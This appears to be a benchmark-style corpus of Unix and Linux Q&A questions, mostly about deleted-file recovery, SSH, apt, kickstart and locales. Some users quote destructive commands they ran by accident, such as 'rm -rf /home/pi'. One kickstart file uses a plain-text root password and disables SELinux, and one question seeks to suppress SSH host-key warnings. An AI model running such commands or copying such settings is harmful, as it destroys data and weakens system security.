{"_id": "110557", "title": "Force ssh to not to print warnings", "text": "Is there a way to avoid ssh printing warning messages like this? \"@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\\r\", \"@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @\\r\", \"@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\\r\", Although the remote host identity has changed but I know it is fine and just want to get rid of this warning."} {"_id": "143889", "title": "How do I make apt pick a certain package from a specific source?", "text": "I tried pinning the `debian_testing` source, but it's not really working (I want to pick version 0.10.29): Package: nodejs Pin: release a=debian_testing Pin-Priority: 1000 Here's the `apt-cache policy`: $ apt-cache policy nodejs nodejs: Installed: 0.8.1-1.1+0.0.0.6.a0dcf45.5 Candidate: 0.8.1-1.1+0.0.0.6.a0dcf45.5 Package pin: (not found) Version table: 0.10.29~dfsg-1 1000 150 http://debian.mirror.iweb.ca/debian/ testing/main amd64 Packages 0.8.1-1.1+0.0.0.6.a0dcf45.10 1000 150 http://debmirror/squeeze/ unstable/main amd64 Packages 0.8.1-1.1+0.0.0.6.a0dcf45.6 1000 150 http://debmirror/squeeze/ testing/main amd64 Packages *** 0.8.1-1.1+0.0.0.6.a0dcf45.5 1000 600 http://debmirror/squeeze/ stable/main amd64 Packages 100 /var/lib/dpkg/status 0.6.19-1.1+0.0.0.5.9ae19bd.9 1000 150 http://debmirror/squeeze/ unstable/main amd64 Packages 0.6.19-1.1+0.0.0.5.9ae19bd.5 1000 150 http://debmirror/squeeze/ testing/main amd64 Packages 0.6.19-1.1+0.0.0.5.9ae19bd.4 1000 600 http://debmirror/squeeze/ stable/main amd64 Packages 0.6.19-1.1+0.0.0.4.b58cc24.3 1000 600 http://debmirror/squeeze/ stable/main amd64 Packages 0.6.19-1.1+0.0.0.3.4de0c44.2 1000 600 http://debmirror/squeeze/ stable/main amd64 Packages 0.6.19-1.1+0.0.0.2.f68c674.1 1000 600 http://debmirror/squeeze/ stable/main amd64 Packages What's missing to make it pick the 0.10.29 version from `debian_testing`?"} {"_id": "11542", "title": "Desktop Actions and mime types for a DRM file format", "text": "I want to handle a DRM file format, which adds an encryption wrapper outside of the protected content. Please see the diagram. # _**___ ___ __ ___ __ ___ __ ___ __ ___ __ ___ __ ___ ____** # | DRM wrapper MIME | # | **___ __ ___ __ ___ __ ___ __ ___ __ ___ __ ___ ____** # | | Embedded content MIME | | # | | ** ___ __ ___ __ ___ __ ___ __ ___ __ ___ __ ___ ___**| | # | ** ___ __ ___ __ ___ __ ___ __ ___ __ ___ __ ___ __ ___ __**| I also write some media applications for it. But every DRM-ware applications can support only a few embedded content MIME types. For example, a DRM-aware music player can only support DRM-protected or clear songs while a DRM-aware picture viewer can only support protected or clear pictures. So how can I write the .desktop entry of such DRM-aware applications? If I set MIME type to the DRM wrapper MIME type, my music player may be launched to open a DRM-protected picture and fails. And because the embedded content can be various while the wrapper MIME type is unique, I can expect many such failures. Is there any better practice to handle this issue? Is it feasible to invent new MIME types that mix the wrapper MIME type and the embedded content type? E.g. audio/mpeg-xx- secured or image/jpeg-xx-secured and using them in the .desktop entry of my DRM-aware applications? Great thanks! Amanda"} {"_id": "89373", "title": "SARG with no records found", "text": "I want to use sarg tool in linux centOS to report users using website. But when installed, and when Iuse command `sarg -x -z`, the output is: SARG: Init SARG: Loading configuration from /usr/local/etc/sarg.conf SARG: TAG: access_log /var/log/squid/access.log SARG: TAG: output_dir /var/www/html/squid-reports SARG: TAG: date_format e SARG: TAG: overwrite_report yes SARG: Parameters: SARG: Hostname or IP address (-a) = SARG: Useragent log (-b) = SARG: Exclude file (-c) = SARG: Date from-until (-d) = SARG: Email address to send reports (-e) = SARG: Config file (-f) = /usr/local/etc/sarg.conf SARG: Date format (-g) = Europe (dd/mm/yyyy) SARG: IP report (-i) = No SARG: Input log (-l) = /var/log/squid/access.log SARG: Resolve IP Address (-n) = No SARG: Output dir (-o) = /var/www/html/squid-reports/ SARG: Use Ip Address instead of userid (-p) = No SARG: Accessed site (-s) = SARG: Time (-t) = SARG: User (-u) = SARG: Temporary dir (-w) = /tmp/sarg SARG: Debug messages (-x) = Yes SARG: Process messages (-z) = Yes SARG: SARG: sarg version: 2.3.1 Sep-18-2010 SARG: Reading access log file: /var/log/squid/access.log SARG: Records in file: 0, reading: 100.00% SARG: Records read: 0, written: 0, excluded: 0 SARG: No records found SARG: End And this is /var/log/squid/ root@FW sarg]# ll /var/log/squid/ total 184 -rw-r-----. 1 squid squid 0 Jul 25 03:49 access.log -rw-r----- 1 squid squid 12592 Jul 14 03:16 access.log-20130714 -rw-r----- 1 squid squid 208 Jul 25 03:49 access.log-20130725 -rw-r-----. 1 squid squid 6944 Sep 3 12:56 cache.log -rw-r-----. 1 squid squid 1286 Aug 4 03:37 cache.log-20130804.gz -rw-r-----. 1 squid squid 168 Aug 11 03:22 cache.log-20130811.gz -rw-r----- 1 squid squid 929 Aug 18 03:48 cache.log-20130818.gz -rw-r----- 1 squid squid 1285 Aug 25 03:41 cache.log-20130825.gz -rw-r----- 1 squid squid 1301 Sep 1 13:24 cache.log-20130901.gz -rw-r--r--. 1 root root 6517 Jul 25 08:51 squid.out -rw-r-----. 1 squid squid 13968 Sep 4 13:56 store.log -rw-r----- 1 squid squid 32398 Aug 4 03:37 store.log-20130804 -rw-r----- 1 squid squid 32592 Aug 11 03:22 store.log-20130811 -rw-r----- 1 squid squid 30652 Aug 18 03:48 store.log-20130818 -rw-r----- 1 squid squid 6180 Aug 25 03:41 store.log-20130825.gz -rw-r----- 1 squid squid 5763 Sep 1 13:24 store.log-20130901.gz And this is `sarg.conf` access_log /var/log/squid/access.log output_dir /var/www/html/squid-reports overwrite_report yes ..... and reports in web My Squid User Access Reports FILE/PERIOD CREATION DATE USERS BYTES AVERAGE 24Jul2013-24Jul2013 Wed 24 Jul 2013 03:04:28 PM ICT 1 5.57K 5.57K 21Jul2013-25Jul2013 Thu 25 Jul 2013 09:30:37 AM ICT 0 0 14Jul2013-25Jul2013 Thu 25 Jul 2013 10:35:22 AM ICT 1 5.57K 5.57K Generated by sarg-2.3.1 Sep-18-2010 on 25/Jul/2013-10:35 This is very little information. How can I increase that?"} {"_id": "11544", "title": "What is the difference between /opt and /usr/local?", "text": "According to the Filesystem Hierarchy Standard, `/opt` is for \"the installation of add-on application software packages\". `/usr/local` is \"for use by the system administrator when installing software locally\". These use cases seem pretty similar. Software not included with distributions usually is configured by default to install in either `/usr/local` or `/opt` with no particular rhyme or reason as to which they chose. Is there some difference I'm missing, or do both do the same thing, but exist for historical reasons?"} {"_id": "89378", "title": "Everything works in the auto-generated kickstart file for installing centos-linux except for selecting target drive + boot dot", "text": "I discovered that if I copy the auto-generated kickstart file in CentOS Linux, I could re-install CentOS Linux without having to fill stuff, and so on.. It appears centos saves the auto-generated kickstart file to `/root/anaconda- ks.cfg` Let's see what it looks like: # Kickstart file automatically generated by anaconda. #version=DEVEL install harddrive --partition=UUID=94A9-D1AE --dir=/ lang en_US.UTF-8 keyboard us network --onboot no --device eth0 --bootproto dhcp --noipv6 network --onboot no --device wlan0 --bootproto dhcp --noipv6 rootpw --iscrypted $6$wWTsHJyQ8Fe88fWk$v6u7X.WanDxPm26FJCi9gCwWXlwRg9tQze25uGk150W4BHLKcGRkcgFn4lRGowrXl1C0LlBQCOLxR9sx3Rjw20 firewall --service=ssh authconfig --enableshadow --passalgo=sha512 selinux --enforcing timezone --utc America/New_York bootloader --location=mbr --driveorder=sda,sdb --append=\"crashkernel=auto rhgb quiet\" # The following is the partition information you requested # Note that any partitions you deleted are not expressed # here so unless you clear all partitions first, this is # not guaranteed to work #clearpart --all --drives=sda #volgroup VolGroup --pesize=4096 pv.008002 #logvol / --fstype=ext4 --name=lv_root --vgname=VolGroup --grow --size=1024 --maxsize=51200 #logvol swap --name=lv_swap --vgname=VolGroup --grow --size=7840 --maxsize=7840 #part /boot --fstype=ext4 --size=500 #part pv.008002 --grow --size=1 #part None --fstype=efi --label=\"LIVE\" --onpart=sdb1 --noformat repo --name=\"CentOS\" --baseurl=hd:UUID=94A9-D1AE:/ --cost=100 %packages --nobase @core %end To make this work better, I simply added interactive right above the `install` line on top. so that I can see what it is doing. Looks like it didn't auto fill the root-password. so let's remove the encrypted password and add a plain text password and then test again. Looks like it didn't select \"use all space\" So let's uncomment the commented lines towards the bottom portion. Looks like there are errors, I was forced to quit installation and reboot. Here is a final version that works okay. Only some lines were uncommented, and root password was changed to plain text. it is now Use All Space during the installation proces. I also added `interactive` line to it. # Kickstart file automatically generated by anaconda. #version=DEVEL interactive install harddrive --partition=UUID=94A9-D1AE --dir=/ lang en_US.UTF-8 keyboard us network --onboot no --device eth0 --bootproto dhcp --noipv6 network --onboot no --device wlan0 --bootproto dhcp --noipv6 rootpw aaaaaa firewall --service=ssh authconfig --enableshadow --passalgo=sha512 selinux --disabled timezone --utc America/Los_Angeles bootloader --location=mbr --driveorder=sda,sdb --append=\"crashkernel=auto rhgb quiet\" # The following is the partition information you requested # Note that any partitions you deleted are not expressed # here so unless you clear all partitions first, this is # not guaranteed to work clearpart --all --initlabel part /boot --fstype=ext4 --size=500 part None --fstype=efi --label=\"LIVE\" --onpart=sdb1 --noformat repo --name=\"CentOS\" --baseurl=hd:UUID=94A9-D1AE:/ --cost=100 %packages --nobase @core %end Everthing works great but it is not selecting the target hard drive, and placing a dot into the Boot thing. In other words the final step has to be done manually by hand. What should be done so that it can select the target drive and also ensure selected as the boot drive ?"} {"_id": "110552", "title": "ksyts problem firing up GUI", "text": "i set my display export DISPLAY=CQIST097417W.msad.ms.com:0.0 loaded module module load syb/kerberos and kicked off ksyts ksyts but got the error : application-specific initialization failed: couldn't connect to display \"CQIST097417W.msad.ms.com:0.0\" invalid command name \"option\" while executing \"option add *cursor $sytsConfigDB(cursor,$sytsConfigDB(cursor,current))\" invoked from within \"if { $isGuiSyts } { option add *cursor $sytsConfigDB(cursor,$sytsConfigDB(cursor,current)) option add *Text.height 4 option a ...\" (file \"/ms/dist/syb/PROJ/syts/4.24/dba/bin/../scripts/syts.tcl\" line 6361) ANYONE ANY IDEA HOW TO FIRE UP THE ksyts GUI PLS ? john"} {"_id": "11549", "title": "Howto set access control lists ACLs in OpenLDAP", "text": "I'm using the Debian Squeeze OpenLDAP. Where can I set ACLs? Isn't it possible to execute the access to directives with `ldapmodify`? There's no `slapd.conf` file in Debian, they use a `slapd.d` folder"} {"_id": "5988", "title": "How can I check the charge of an Apple iPod Shuffle?", "text": "I am using Ubuntu and would like to know the answer to this question: * How does one determine whether his/her Apple iPod Shuffle's charge is full in Linux? In Windows it's easy since iTunes shows the charge. But in Linux neither Rhytmbox nor gtkpod shows the battery charge. Any help regarding this."} {"_id": "110550", "title": "What is the difference between red5 RC1 and RC2?", "text": "What is the difference between the red5 versions RC1 and RC2 ? and what does RC mean?"} {"_id": "5982", "title": "What tools to use to eliminate metadata in graphics files?", "text": "What tools can I use to delete all the EXIF, IPTC, XMP, etc metadata from graphics files?"} {"_id": "5980", "title": "How do I insert a space every four characters in a long line?", "text": "I've got a long line that I want to insert a space every 4 characters, on a single lone line of solid text to make it easier to read, what's the simplest way to do this? also I should be able to input the line from a pipe. e.g. echo \"foobarbazblargblurg\" | gives foob arba zbla rgbl urg"} {"_id": "5987", "title": "How to control the list of locales which are generated by APT?", "text": "Each time I install or operate in other means l10n-related packages, the APT system \"rebuilds\" a lot of English locales, which takes considerable time. Look at the APT log: Configuring language-pack-en-base (1:10.10+20100930) ... Generating locales... en_AG.UTF-8... up-to-date en_AU.UTF-8... up-to-date en_BW.UTF-8... up-to-date en_CA.UTF-8... up-to-date en_DK.UTF-8... up-to-date en_GB.UTF-8... up-to-date en_HK.UTF-8... up-to-date en_IE.UTF-8... up-to-date en_IN.UTF-8... up-to-date en_NG.UTF-8... up-to-date en_NZ.UTF-8... up-to-date en_PH.UTF-8... up-to-date en_SG.UTF-8... up-to-date en_US.UTF-8... up-to-date en_ZA.UTF-8... up-to-date en_ZW.UTF-8... up-to-date Generation complete. And this happens for each package. I don't need all those variants - most of the time I use non-English locale altogether. For me `en_US` and `en_GB` would be sufficient. So my questions are: * Are all those `en_*` variants really installed on my machine? How to check that? * If they are, how to cleanly remove them and prevent APT from generating them?"} {"_id": "116667", "title": "dmesg filled with audits every minute from cron", "text": "My `dmesg` is filled with output of like the following, starting from a couple of seconds after booth and continuing indefinitely: [ 3155.216230] type=1006 audit(1393236841.859:85): pid=4206 uid=0 old auid=4294967295 new auid=0 old ses=4294967295 new ses=84 res=1 [ 3214.742935] type=1006 audit(1393236901.406:86): pid=4227 uid=0 old auid=4294967295 new auid=0 old ses=4294967295 new ses=85 res=1 [ 3274.960017] type=1006 audit(1393236961.646:87): pid=4245 uid=0 old auid=4294967295 new auid=0 old ses=4294967295 new ses=86 res=1 [ 3335.143342] type=1006 audit(1393237021.853:88): pid=4266 uid=0 old auid=4294967295 new auid=0 old ses=4294967295 new ses=87 res=1 [ 3394.290920] type=1006 audit(1393237081.024:89): pid=4325 uid=0 old auid=4294967295 new auid=0 old ses=4294967295 new ses=88 res=1 [ 3454.269891] type=1006 audit(1393237141.024:90): pid=4344 uid=0 old auid=4294967295 new auid=0 old ses=4294967295 new ses=89 res=1 [ 3514.802667] type=1006 audit(1393237201.575:91): pid=4424 uid=0 old auid=4294967295 new auid=0 old ses=4294967295 new ses=90 res=1 [ 3574.320552] type=1006 audit(1393237261.119:92): pid=4441 uid=0 old auid=4294967295 new auid=0 old ses=4294967295 new ses=91 res=1 [ 3634.364982] type=1006 audit(1393237321.187:93): pid=4498 uid=0 old auid=4294967295 new auid=0 old ses=4294967295 new ses=92 res=1 [ 3694.503761] type=1006 audit(1393237381.347:94): pid=4559 uid=0 old auid=4294967295 new auid=0 old ses=4294967295 new ses=93 res=1 This is caused in part by cron. If the root `crontab` includes `* * * * * echo test`, the audits appear once a minute. If it is empty, no audits appear. Why does this happen? How can I stop it? **Edit** : I'm running an updated Arch Linux. Trying to find the process that causes the audits: $ systemctl -a | grep audit -i auditd.service not-found inactive dead auditd.service"} {"_id": "2677", "title": "Recovering accidentally deleted files", "text": "I accidentally deleted a file from my laptop. I'm using Fedora. Is it possible to recover the file?"} {"_id": "145152", "title": "Recover deleted files on Raspberry Pi?", "text": "So I just rm -rf'ed a folder with a few files I need. Yes I know I should've had a backup, but it's just a Pi. It's designed to be played around with! Is there _anything_ I can do to recover that folder? Would the files be cached somewhere? Can you recommend any Linux file recovery programs? I don't want to boot into the SD again as it might write over the data :( Help! EXT4 filesystem."} {"_id": "63470", "title": "Recover files from ext3 formatted external hard drive", "text": "> **Possible Duplicate:** > Recovering deleted files on fedora I have an external hard drive that I had been using to store some photographs, but I accidentally installed Lubuntu on it. I'd like to know if there's any way to recover the files from it. I the drive was FAT32 beforehand; I'm not sure, though. It was a Seagate FreeAgent GoFlex (1 TB) Anway, I can't use any of the recovery tools I found, because they can't scan EXT filesystems from Windows. I'm running a dual-boot, Windows XP and Ubuntu, plus I frequently boot into Puppy Linux from a USB drive, so it really doesn't matter which OS it's for. (No Mac-only software, though.) Anyway, it's really important that I get these photos back."} {"_id": "114843", "title": "How to recover deleted directories \"/home/pi\"", "text": "I just deleted my `/home/pi` directory while I was trying to remove the directory under `/home/pi` which was `/home/pi/nmap`. So, is there anyway to recover `/home/pi` directory as I have other important directories under it. I use the commmand: rm -rf /home/pi"} {"_id": "101237", "title": "How to recover files I deleted now by running rm *?", "text": "By mistake I ran rm * on the current directory where I created many c program files. I had been working on these since morning. Now I can't take out again the time that I spent since morning on creating the files. Please say how to recover. They aren't in recycle bin also!"} {"_id": "104174", "title": "Recover directory structure + files", "text": "## Background: I had a dual boot of Windows + Linux Mint. Mint didn't feel right to me, so I decided to install Ubuntu to replace Mint. I booted from a Ubuntu Live USB and started the installer. The installer asked me if I wanted to replace Linux Mint. I did, so I chose that option (big mistake). It then proceeded to format the drive and install Ubuntu. After I booted into Ubuntu and discovered this, I quickly shut the computer down and began to work from a separate PC, hooking up PC #1's drive as a secondary to PC #2. ## Desired outcome: I would love to have all my files back - in their original directory structure and with their original file names. ## What I've tried: Primarily, I've tried two tools: **R-Linux** and **EaseUS Data Recovery Wizard**. R-Linux was able to recover what appeared to be most files (at least those that were of the file types R-Linux searches for by default). I was able to open and view these files (every file I opened; I didn't try all considering the number). However, R-Linux did _**not**_ recover the directory structure or filenames - only the files, sorted by file type and with random file names. E-DRW appeared to recover the files, filenames, and the directory structure. However, the same files that I was able to open/view when recovered by R-Linux appeared corrupt when recovered by E-DRW. JPG files (in multiple viewers) would not open. PHP, txt, and doc files all failed to open. I feel that considering one tool was able to recover file names and directory structure, and another tool was able to recover the file contents, that my goal is reachable. However, neither of these tools appear to be able to reach it completely. ## My question: Is there another tool I should/could try, or have I exhausted my options? I have access to both a Linux (Ubuntu) and Windows system, so exclusive tools are not a problem. ## Response to duplicate flag: I do not believe this question is a duplicate. As I stated previous, I am able to recover files using R-Linux but not the meta data. The file names and directory structure are vital to the success of my efforts, as most of the files I desire to recover are useless/meaningless without this information."} {"_id": "88608", "title": "Undo file removed by rm commend on MAC terminal", "text": "I unfortunately deleted `.bash_profile` file from my MAC. Accidentally I typed `rm .bash_profile`. Now how can I get my file back?"} {"_id": "75088", "title": "Getting back rsync's deleted files", "text": "I accidentally rsync-ed to a server using the delete attribute when I shouldn't have. Is there any chance of getting the data on the server that rsync removed.. back?"} {"_id": "154989", "title": "How to Recover Data in LINUX MINT Quiana", "text": "Can I recover deleted files in LINUX MINT 17 Quiana. I have deleted my folder containing data with shift+delete. Now, I want my data back."} {"_id": "48253", "title": "I ran rm -rf. Need to recover files", "text": "> **Possible Duplicate:** > How to recover a file just deleted > How to undelete/restore the deleted files in ubuntu linux I ran `$rm -rf` on a machine by mistake. But it wasn't as a super-user, so only my home directory is lost, however I need to recover the files. After the command was executed, I ran no more commands and instantly shut down the machine to prevent any data from being overwritten. I am currently running the machine through a live-disk. Can anyone help me recover the lost files? If it's any help, I am running Arch-Linux."} {"_id": "153087", "title": "Recover file from previous installation?", "text": "I recently wiped an old ubuntu server of mine and installed debian, but i forgot to backup a very important file. I know there is a chance that the computer has already wrote over the file, but what can I do to look for this file?"} {"_id": "90186", "title": "How do I simply recover the only file on an empty disk just deleted?", "text": "Usually, the best way to recover a deleted file is to have backups and that, if the backup failed, you should immediately remount the drive read-only. (See this thread: How to recover a file just deleted ) But in some occasions, if the deleted file wasn't that important, it just would save some time to just \"undelete\" it. Is there a simple way I could try on bash for the case that the deleted file on an **ext4 filesystem** was **the only file on the disk** , especially, if the disk is not used otherwise?"} {"_id": "18685", "title": "How to recover a file just deleted", "text": "I just deleted a file in Nautilus with Shift+Delete, which warned me that \"If you delete an item, it will be permanently lost.\" I wonder if there is no way to recover the file? My OS is Ubuntu 10.10. Thanks!"} {"_id": "108860", "title": "Recover deleted Directories in centos", "text": "How can we recover deleted directories in CentOS 64 bit. I have tried it with `test-disk` but unable to update. Can anyone let me know the solution?"} {"_id": "21196", "title": "How to undelete/restore the deleted files in ubuntu linux", "text": "> **Possible Duplicate:** > Recovering deleted files on fedora > undelete files from local fileserver I accidentally did rm * in a directory instead of another directory from console in a Ubuntu11 machine.is there any way to recover these files."} {"_id": "144389", "title": "Recover an overwritten file", "text": "I had a linux plain text document file with close to 100000 lines, a size of 10 Mb. I accidentally overwrote the file via python code. But I got an exception in the middle of the code and think the file socket did not get closed properly. The new file has a few new lines (250) ,BUT the size of the file corresponds to the old one. I was wondering if the old content will still be there within the file and any chances of recovering the same. I tried using TestDisk and poked around a little bit. But it did not have any option for working on a particular file or maybe I am doing it wrong. I dont have any expertise in file systems and would really appreciate any pointers on how to proceed. Thanks"} {"_id": "98778", "title": "rm -rf /home/ Recovery", "text": "OS :-Suse Linux Enterprise 12.0 File System :- ext3 I hit `rm -rf /home/`, immediately I did `Contol`+`C` so the command got canceled but until that time I lost ~9GB of data from this `/home` dir. I don't have System GUI access. Please suggest a suitable recovery command or packages so that i can recover my lost `/home` files. I just want to recover only one lost dir from this `/home` dir that is, `/home/cubot/etl/script`. This `/home/cubot/etl/script` was having some important scripts and it is not visible now completely."} {"_id": "123255", "title": "Restore deleted Mysql Directory in linux", "text": "My MySQL directory has been deleted from directory /root/var/ by mistake, we need to restore it, Is it possible ?"} {"_id": "80270", "title": "Unix/Linux undelete/recover deleted files", "text": "Is there a command to recover/undelete deleted files by `rm`? $ rm -rf /path/to/myfile How can I recover `myfile`? If there is such a tool how can I use it?"} {"_id": "90387", "title": "How to recover: Deleted accidently important files", "text": "I've accidentally deleted today the `/var/www` with 2 Joomla-Homepages on it. Is there any possibility to recover all these files? I'm using PhotoRec right know, but the recovered files are named like: f3411984.html I have not create backups, which I should have. I there a better way to recover these files."} {"_id": "20639", "title": "Restore overwritten /usr/local/bin", "text": "> **Possible Duplicate:** > Recovering deleted files on fedora I accidentally overwrote my `/usr/local/bin` directory when installing something. Is there a way I can restore this directory? What can I do to get Ubuntu functional again?"} {"_id": "14952", "title": "undelete files from local fileserver", "text": "I have a NAS (mybook world white light) in my living room where all my music and stuff is stored. I've mounted the music folder of the nas in the local music folder of my home directory on my desktop computer. My fstab entry looks like this: //192.168.2.222/Public/Shared\\040Music/ /home/simon/Musik/ cifs credentials=/home/simon/.smbcredentials,defaults 0 0 A few minutes ago, I moved my home directory on my local desktop computer with the help of this (german) tutorial. At first everything looks great, but then I realised that my music folder was empty. I think I deleted everything in this step during the tutorial: umount /home rm -rf /home/* Because the music folder was still mounted to `/home/simon/Musik :/` Is there a possibility to recover something of the data? As I realized what happened, I shut down the NAS."} {"_id": "127479", "title": "su to another user using ssh keys?", "text": "Assuming that `user_A` and `user_B` set up and exchange public ssh keys with each other, is it possible for `user_A` to `su` into `user_B` on the same machine?"} {"_id": "127478", "title": "What is the difference between invoking a perl script via sh or perl", "text": "I have a simple Hello World perl script. #!/usr/bin/perl print 'Hello world.'; It works fine if I run it via `perl `, but it fails I run it via `sh `. My understanding of the first line is that it invokes the perl shell (similar to #!/usr/bin/bash will invoke a bash shell). So what exeactly is the difference between the two commands? I found this thread http://ubuntuforums.org/showthread.php?t=1133334 that states `sh ` \"In that case, you don't run Perl at all, but the shell, which will call the program 'print'.\" IF that's the case is the #! just being interpreted as a comment. If so, is it needed at all? (I am aware that I can chmod +x the file and run it dirrectly, but I just want to know the difference between the two methods I was using)"} {"_id": "103541", "title": "Automount CIFS shares on boot?", "text": "I have a script saved that mounts my CIFS share, but I have to run it manually every time I boot into Linux and I connect to the internet. Is there a way that I can set the script to run as root every time Linux boots, and have it continually run until it connects to the drives? I'm running Linux Mint. **UPDATE:** I already have the package installed. I have a working script to mount it: #!/bin/sh mount -t cifs //xxx.xxx.xxx.xx/usb1-1share1 /media/Private -o username=xx,password=xx,domain=WORKGROUP mount -t cifs //xxx.xxx.xxx.xx/Uploads /media/Uploads -o username=xx,password=xx,domain=WORKGROUP"} {"_id": "127471", "title": "Using awk for data manipulation", "text": "I have an input file in the following format. #track chr11 61731756 61735132 FTH1 - chr12 6643584 6647537 GAPDH + chr11 18415935 18429765 LDHA + chr12 21788274 21810728 LDHB - chr22 24236564 24237409 MIF + chr4 6641817 6644470 MRFAP1 + chr15 72491369 72523727 PKM - chr10 73576054 73611082 PSAP - chr2 85132762 85133799 TMSB10 + chr13 45911303 45915297 TPT1 - I want to get an output file in which if the 5th column is + then subtract 5000 from column 2 and add 2000 to column 3 so as to output following chr11 18410935 18431765 LDHA + chr2 85127762 85135799 TMSB10 + If the 5th column is \"-\", then add 5000 to column 3 and subtract 2000 from column 2 so as to get following output chr11 61729756 61740132 FTH1 - chr12 21786274 21815728 LDHB - So I want the output to be in the same order as input. Also I want to output the first line #track as it is. I want to do this in awk. How can I perform this. I am new to awk and still learning. Thanks"} {"_id": "82440", "title": "Where would I find where an .htaccess file is located and being used on a Mac OS X Lion server that sets Basic Auth on an Apache server?", "text": "I've installed some software, namely, a continuous integration (CI) server (Jenkins) on a Mac Mini running Lion Server. The server, by default, runs from port 8080 on local host via the url: `http://localhost:8080`. However, when I try to access the page it seems to be protected by Basic Auth and it asks me for a name and a password. Granted, I never set that Basic Auth and I've been told I can remove the authentication and use that port for the CI server. However, I'm hard pressed to find an `.htaccess` file anywhere that sets the Basic Auth? If it's not set in an `.htaccess` file then where would Basic Auth be set?"} {"_id": "103547", "title": "Emacs won't open file in Bazaar repository", "text": "I have a Bugzilla installation, and am trying to open `/Bugzilla/Install/CPAN.pm` using emacs. However, I get this error when attempting to do so: Searching for program: no such file or directory, bzr As I am kind of unfamiliar with `emacs` beyond the basics, and very unfamiliar with `perl`, I have no idea what this means. Why do I get that message? Why won't `emacs` load the file? How do I fix this problem? If any additional info is needed, I will be happy to oblige. EDITS: I am trying to open it with the command `emacs Bugzilla/Install/CPAN.pm` while in the `bugzilla` directory. ![enter image description here](http://i.stack.imgur.com/wt8Kl.png)"} {"_id": "127474", "title": "How to check whether a usb Wifi supports Hotspot or not", "text": "I found a wifi card here:- Wifi Now, how can I check whether It can enter master mode and have support for hotspot? As my current in-built Wifi card is giving me this:- Error for wireless request \"Set Mode\" (8B06) : SET failed on device wlan0 ; Invalid argument. On executing:- sudo iwconfig wlan0 mode master I am seeing `SoftAP` in its heading. Should I assume that I will go in master mode on my linux box?"} {"_id": "120120", "title": "Escaping dash in `dch` call", "text": "I'm using `dch` to modify the changelog for a debian package that is being built using some bash script. The messages for changelog are taken from some data source and are just passed to `dch --append`. And today I noticed that it fails to do its job if starts with dash (`-`) character: $ dch --append \"- when\" Unknown option: Unknown option: w Usage: dch [options] [changelog entry] Run dch --help for more details How would one properly escape such a string?"} {"_id": "120122", "title": "Bare-bones linux?", "text": "I am working on a homemade OS and I was originally going to write it myself in Assembly and Python, but I decided that doing this would just be easier, faster, and more Linux-y. I have the Python part done, I just need to do the Linux part. So, I was wondering if you had any idea of a place I could get a pre-made ISO of any (preferably Debian based) Linux distro, with BASH, Aptitude, Python 2.7.6, and crontab installed, and with NO xorg or xvesa or whatever. It would also be extremely helpful if instead of posting links to places without a proper explanation and what-not, if you could just give me a download link."} {"_id": "146541", "title": "How to stop gnome from forcing me to logoff / logout?", "text": "From time to time my Gnome 3 shell or some parts of it are crashing. Gnome sees a time out and is forcing the user to logout **without** other possibilities. _\"Oh no! Something has gone wrong.\"_ See superuser for a screenshot. (Fail whale is providing this dialog.) Is there a way to stop gnome from doing that? Since the other programs are still running and working fine... In my case its clearly a time out, since a scientific analysis eats up all memory and after its done Gnome has a hard time to recover. (I experienced also these crashes, when I was using some (combination of) extensions which are buggy. In that case the probably only or best solution is to not use those extensions... also considering the posts I've read about this.)"} {"_id": "120124", "title": "dkms versus module-assistant", "text": "`module-assistant` has been the de-facto method of compiling and building binary Debian packages containing kernel modules for a while now. More recently a comparable utility has appeared - `dkms`. If anyone has experience using both, please do a compare and constrast on the advantages and disadvantages of using one versus the other. One item to address in an answer is whether `dkms` builds binary Debian packages for kernel modules too, and if so, how, and if so, what the differences between the packages built by `m-a` and `dkms` are, if any. I have personally never used `dkms`, but I have used `module-assistant` sporadically over many years, and it has been a good experience. I don't have immediate plans to experiment with `dkms`, so I don't think I am the right person to write an answer. Random googling found a discussion here, also this. Needless to say, any answer should be based on first hand experience, not copying from web forums. A worked example using both would be nice. Possibly `nvidia-kernel`, since that is quite commonly used. Yes, I know it is a proprietary kernel module. :-( UPDATE: Thanks to jordanm for his answer. I'd like something that goes into a little more detail about what is going on under the hood, for both `m-a` and `dkms`, though I did not initially mention this. Also, it sounds like most of the time `dkms` will work transparently and automatically. But what are the failure modes of `dkms`. How do they both cope with manually compiled/installed kernels? Either installed from a binary package or a local install."} {"_id": "110558", "title": "\"su\" with error \"X11 connection rejected because of wrong authentication.\"", "text": "As root, I'm connecting to a remote host to execute a command. Only \"standarduser\" has the appropriate id-file and correct .ssh/config, so I'm switching the user first: su standarduser -c 'ssh -x remotehost ./remotecommand' The command works fine, but despite the fact that I used \"-x\" (disable X11-Forwarding) and having X11Forwards disabled in `/etc/ssh/ssh_config`, I still get the error message: X11 connection rejected because of wrong authentication. I'm not getting the error message when I'm logged in as \"standarduser\". This is quite annoying as I would like to integrate the command in a cron job file. I understand that the error message refers to the wrong authentication of root's .XAuth file, but I'm not even trying to connect via X11. Why is \"ssh -x\" not disabling the X11 connection and throwing the error message? _UPDATE_ : The message only shows when I'm logged in within a screen, when using the command stated above on the local machine itself (without screen), I don't get an error message, so this should be fine with cron, too. I also started the same command with `-v` and surprisingly got the error message FIRST, even before the status information from SSH: root@localhost:~# su standarduser -c 'ssh -x remotehost ./remotecommand' X11 connection rejected because of wrong authentication. OpenSSH_6.2p2 Ubuntu-6ubuntu0.1, OpenSSL 1.0.1e 11 Feb 2013 This led me to the problem itself, it is NOT the `ssh` which is throwing the error message, it's `su`: root@localhost:~# su standarduser -c 'echo Hi' X11 connection rejected because of wrong authentication. Hi Why do I only get this error within `screen`? How can I disable this error message? (Update title)"} {"_id": "82991", "title": "Bash is not finding a program even though it's on my path", "text": "I have a program on my path. The program runs when executed with a full path specified. But the program cannot be found when I run it with just its name. Essentially, I want to understand how the below output is possible, and how to fix it so that my program can actually be found without a full path specified: root:/usr/local/bin# ./siege **************************************************** siege: could not open /usr/local/bin/etc/siegerc run 'siege.config' to generate a new .siegerc file **************************************************** root:/usr/local/bin# echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games root:/usr/local/bin# siege bash: /usr/bin/siege: No such file or directory root:/usr/local/bin# wtf!?!? I'm on Ubuntu 12.04 using bash. Also please note the warning output from siege is not relevant for the purposes of this question, as I am only interested in whether or not the program 